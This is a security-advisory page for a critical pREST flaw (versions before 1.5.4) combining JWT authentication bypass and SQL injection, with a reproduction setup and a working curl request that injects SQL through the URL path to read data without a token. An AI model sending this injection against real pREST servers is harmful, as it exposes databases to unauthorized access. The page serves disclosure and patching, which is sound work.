Skip to content
Fencer Intel
critical 9.8

GHSA-wm25-j4gw-6vr3 json

pREST vulnerable to jwt bypass + sql injection

published 2y ago modified 8mo ago also GO-2024-3011

cvss
9.8
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

### Summary Probably jwt bypass + sql injection or what i'm doing wrong?

### PoC (how to reproduce)

1. Create following files:

docker-compose.yml: ``` services: postgres: image: postgres container_name: postgres_container_mre environment: POSTGRES_USER: test_user_pg POSTGRES_PASSWORD: test_pass_pg POSTGRES_DB: test_db prest: image: prest/prest build: . volumes: - ./queries:/queries - ./migrations:/migrations ports: - "3000:3000" ```

Dockerfile: ``` from prest/prest:latest

COPY ./prest.toml prest.toml ```

prest.toml: ``` debug=false migrations = "./migrations"

[http] port = 3000

[jwt] default = true key = "secret" algo = "HS256"

[auth] enabled = true type = "body" encrypt = "MD5" table = "prest_users" username = "username" password = "password"

[pg] URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"

[ssl] mode = "disable" sslcert = "./PATH" sslkey = "./PATH" sslrootcert = "./PATH"

[expose] enabled = true databases = true schemas = true tables = true

[queries] location = "/queries" ```

2. run commands:

``` mkdir -p migrations queries docker compose up --build -d ``` wait for pg and prest, then run following to add test data to the pg:

``` export PGPASSWORD=test_pass_pg docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\ INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;" ```

3. SQL injection even without jwt token: ``` curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth' ``` output: ``` [{"id": 1, "secret_data": "some secret text"}] ```

Patch / fix

  • go github.com/prest/prest 1.5.4

Is GHSA-wm25-j4gw-6vr3 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by version score vector
GitHub 3.1 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected packages

ecosystem package affected fixed in
go github.com/prest/prest
<1.5.4
1.5.4

Classification

Weakness
  • CWE-287 Improper Authentication
  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.